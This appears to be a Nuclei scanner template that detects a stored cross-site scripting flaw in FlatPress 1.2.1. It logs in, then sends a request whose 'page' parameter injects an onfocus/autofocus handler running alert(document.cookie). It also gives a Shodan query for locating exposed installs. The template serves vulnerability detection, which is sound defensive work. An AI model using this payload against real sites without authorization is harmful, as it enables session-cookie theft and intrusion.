64 lines
2.1 KiB
YAML
64 lines
2.1 KiB
YAML
id: flatpress-xss
|
|
|
|
info:
|
|
name: FlatPress 1.2.1 - Stored Cross-Site Scripting
|
|
author: arafatansari
|
|
severity: medium
|
|
description: |
|
|
FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can steal cookie-based authentication credentials and launch other attacks. Note: this is similar to CVE-2021-41432, however this attack uses the "page" parameter.
|
|
reference:
|
|
- https://github.com/flatpressblog/flatpress/issues/153
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cwe-id: CWE-79
|
|
cpe: cpe:2.3:a:flatpress:flatpress:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
shodan-query: http.html:"Flatpress"
|
|
product: flatpress
|
|
vendor: flatpress
|
|
tags: flatpress,xss,authenticated,oss,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
|
|
|
|
------WebKitFormBoundarykGJmx9vKsePrMkVp
|
|
Content-Disposition: form-data; name="user"
|
|
|
|
{{username}}
|
|
------WebKitFormBoundarykGJmx9vKsePrMkVp
|
|
Content-Disposition: form-data; name="pass"
|
|
|
|
{{password}}
|
|
------WebKitFormBoundarykGJmx9vKsePrMkVp
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
Login
|
|
------WebKitFormBoundarykGJmx9vKsePrMkVp--
|
|
- |
|
|
GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.cookie%29%22autofocus%3d%22 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'value=""onfocus="alert(document.cookie)"autofocus=""'
|
|
- 'FlatPress'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100c57e6152d0203ea5c5ad4bd9fed55349687ae45e79a4976df919c14e34d726d402204d2659d3ca6f4393fe774df1a298c934426487ea922bcd1c678548b82fd3f945:922c64590222798bb761d5b6d8e72950 |